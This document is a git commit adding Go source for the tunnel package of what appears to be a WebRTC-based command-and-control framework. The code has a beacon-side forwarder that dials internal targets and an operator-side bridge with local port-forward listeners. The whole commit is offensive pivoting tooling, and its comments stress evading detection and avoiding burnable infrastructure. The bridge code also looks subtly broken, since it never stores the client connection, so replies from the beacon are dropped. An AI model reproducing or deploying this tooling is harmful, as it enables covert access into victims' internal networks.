Upload files to "rtc-c2/pkg/tunnel"

This commit is contained in:
2026-06-10 17:20:40 +00:00
parent 4568bfa5c3
commit 3dca1219d4
2 changed files with 334 additions and 0 deletions
+127
View File
@@ -0,0 +1,127 @@
package tunnel
import (
"fmt"
"io"
"log"
"net"
"strings"
"sync"
"time"
)
// Forwarder runs on the beacon side. It accepts tunnel open requests
// from the operator (via WebRTC data channel), connects to the target
// internally, and bridges data bidirectionally.
type Forwarder struct {
OnTunnelData func(tunnelID TunnelID, data []byte)
OnTunnelErr func(tunnelID TunnelID, err error)
mu sync.Mutex
connections map[TunnelID]net.Conn
}
// NewForwarder creates a new tunnel forwarder for the beacon.
func NewForwarder() *Forwarder {
return &Forwarder{
connections: make(map[TunnelID]net.Conn),
}
}
// HandleMessage processes a tunnel message from the operator.
// Message format (simple text-based, no proxy protocol):
//
// "OPEN:host:port" — open a new connection to target
// "CLOSE" — close this tunnel
// <raw bytes> — data to forward to the target
func (f *Forwarder) HandleMessage(tunnelID TunnelID, raw []byte) {
msg := string(raw)
switch {
case strings.HasPrefix(msg, "OPEN:"):
target := strings.TrimPrefix(msg, "OPEN:")
log.Printf("[forwarder] tunnel open -> %s (id: %s)", target, tunnelID)
go f.openTunnel(tunnelID, target)
case msg == "CLOSE":
log.Printf("[forwarder] tunnel close (id: %s)", tunnelID)
f.closeTunnel(tunnelID)
default:
// Raw data to forward to the target connection
f.forwardData(tunnelID, raw)
}
}
func (f *Forwarder) openTunnel(tunnelID TunnelID, target string) {
conn, err := net.DialTimeout("tcp", target, 10*time.Second)
if err != nil {
log.Printf("[forwarder] dial %s failed: %v", target, err)
if f.OnTunnelErr != nil {
f.OnTunnelErr(tunnelID, fmt.Errorf("dial %s: %w", target, err))
}
return
}
f.mu.Lock()
f.connections[tunnelID] = conn
f.mu.Unlock()
log.Printf("[forwarder] tunnel connected to %s (id: %s)", target, tunnelID)
// Read from target and send back through WebRTC tunnel
buf := make([]byte, 16384)
for {
conn.SetReadDeadline(time.Now().Add(60 * time.Second))
n, err := conn.Read(buf)
if err != nil {
if err != io.EOF {
log.Printf("[forwarder] read from %s: %v", target, err)
}
f.closeTunnel(tunnelID)
return
}
if f.OnTunnelData != nil {
f.OnTunnelData(tunnelID, buf[:n])
}
}
}
func (f *Forwarder) forwardData(tunnelID TunnelID, data []byte) {
f.mu.Lock()
conn, ok := f.connections[tunnelID]
f.mu.Unlock()
if !ok {
log.Printf("[forwarder] unknown tunnel id: %s", tunnelID)
return
}
if _, err := conn.Write(data); err != nil {
log.Printf("[forwarder] write error on %s: %v", tunnelID, err)
f.closeTunnel(tunnelID)
}
}
func (f *Forwarder) closeTunnel(tunnelID TunnelID) {
f.mu.Lock()
conn, ok := f.connections[tunnelID]
delete(f.connections, tunnelID)
f.mu.Unlock()
if ok && conn != nil {
conn.Close()
log.Printf("[forwarder] closed tunnel: %s", tunnelID)
}
}
// Close terminates all active tunnel connections.
func (f *Forwarder) Close() error {
f.mu.Lock()
defer f.mu.Unlock()
for id, conn := range f.connections {
conn.Close()
delete(f.connections, id)
}
return nil
}
+207
View File
@@ -0,0 +1,207 @@
// Package tunnel provides direct TCP forward tunnels over WebRTC data channels.
// Instead of SOCKS5 proxies (which are detectable and require proxy software),
// this creates raw TCP forwarders — like SSH -L style port forwarding.
// The operator sets up a local listener, any connection gets wrapped in
// WebRTC data channel messages, and the beacon bridges to the real target.
//
// No proxy protocol. No proxychains. No middleman IPs to burn.
// Just clean TCP over encrypted WebRTC.
package tunnel
import (
"fmt"
"io"
"log"
"net"
"sync"
"time"
)
// TunnelID uniquely identifies a tunnel connection.
type TunnelID string
// TunnelConn represents one proxied connection through the tunnel.
type TunnelConn struct {
ID TunnelID
Target string // host:port
Conn net.Conn
Created time.Time
}
// Bridge tracks active tunnel connections and routes data between
// local sockets and the WebRTC data channel.
type Bridge struct {
OnData func(tunnelID TunnelID, data []byte)
OnClose func(tunnelID TunnelID)
mu sync.RWMutex
conns map[TunnelID]*TunnelConn
}
// NewBridge creates a new tunnel bridge.
func NewBridge() *Bridge {
return &Bridge{
conns: make(map[TunnelID]*TunnelConn),
}
}
// ForwardHandle accepts a raw TCP connection and tunnels it through
// the WebRTC data channel to the specified target (reaches via beacon).
// No SOCKS handshake — just pure TCP over WebRTC.
func (b *Bridge) ForwardHandle(client net.Conn, target string, tunnelID TunnelID) {
defer client.Close()
log.Printf("[tunnel] forward: %s -> %s", tunnelID, target)
tc := &TunnelConn{
ID: tunnelID,
Target: target,
Created: time.Now(),
}
b.mu.Lock()
b.conns[tunnelID] = tc
b.mu.Unlock()
defer func() {
b.mu.Lock()
delete(b.conns, tunnelID)
b.mu.Unlock()
}()
// Send tunnel open request to beacon
if b.OnData != nil {
b.OnData(tunnelID, []byte(fmt.Sprintf("OPEN:%s", target)))
}
// Bridge: local -> WebRTC tunnel
buf := make([]byte, 16384)
for {
client.SetReadDeadline(time.Now().Add(30 * time.Second))
n, err := client.Read(buf)
if err != nil {
if err != io.EOF && !isNetTimeout(err) {
log.Printf("[tunnel] read error on %s: %v", tunnelID, err)
}
break
}
if b.OnData != nil {
b.OnData(tunnelID, buf[:n])
}
}
// Tell beacon to close this tunnel
if b.OnData != nil {
b.OnData(tunnelID, []byte("CLOSE"))
}
}
// HandleData processes incoming tunnel data from the beacon
// and writes it to the local connection.
func (b *Bridge) HandleData(tunnelID TunnelID, data []byte) {
b.mu.RLock()
tc, ok := b.conns[tunnelID]
b.mu.RUnlock()
if !ok || tc.Conn == nil {
return
}
if _, err := tc.Conn.Write(data); err != nil {
log.Printf("[tunnel] write error on %s: %v", tunnelID, err)
}
}
// CloseTunnel closes a specific tunnel connection.
func (b *Bridge) CloseTunnel(tunnelID TunnelID) {
b.mu.Lock()
tc, ok := b.conns[tunnelID]
delete(b.conns, tunnelID)
b.mu.Unlock()
if ok && tc.Conn != nil {
tc.Conn.Close()
}
}
// CloseAll closes all tunnel connections.
func (b *Bridge) CloseAll() {
b.mu.Lock()
defer b.mu.Unlock()
for id, tc := range b.conns {
if tc.Conn != nil {
tc.Conn.Close()
}
delete(b.conns, id)
}
}
// ForwardListener manages a single port forward mapping.
type ForwardListener struct {
LocalAddr string
TargetAddr string
TunnelID string
listener net.Listener
bridge *Bridge
running bool
mu sync.Mutex
}
// StartForwardListener creates and starts a direct TCP forward listener.
func (b *Bridge) StartForwardListener(localAddr, targetAddr string) (*ForwardListener, error) {
listener, err := net.Listen("tcp", localAddr)
if err != nil {
return nil, fmt.Errorf("forward listen on %s: %w", localAddr, err)
}
fl := &ForwardListener{
LocalAddr: localAddr,
TargetAddr: targetAddr,
TunnelID: fmt.Sprintf("fwd-%s-%s", localAddr, targetAddr),
listener: listener,
bridge: b,
running: true,
}
go func() {
connID := 0
for {
conn, err := listener.Accept()
if err != nil {
fl.mu.Lock()
if !fl.running {
fl.mu.Unlock()
return
}
fl.mu.Unlock()
log.Printf("[forward] accept error on %s: %v", localAddr, err)
return
}
connID++
tid := TunnelID(fmt.Sprintf("%s-%d", fl.TunnelID, connID))
go b.ForwardHandle(conn, targetAddr, tid)
}
}()
log.Printf("[forward] %s -> %s (via beacon)", localAddr, targetAddr)
return fl, nil
}
// Stop shuts down the forward listener.
func (fl *ForwardListener) Stop() {
fl.mu.Lock()
fl.running = false
if fl.listener != nil {
fl.listener.Close()
}
fl.mu.Unlock()
log.Printf("[forward] stopped %s -> %s", fl.LocalAddr, fl.TargetAddr)
}
func isNetTimeout(err error) bool {
if netErr, ok := err.(net.Error); ok {
return netErr.Timeout()
}
return false
}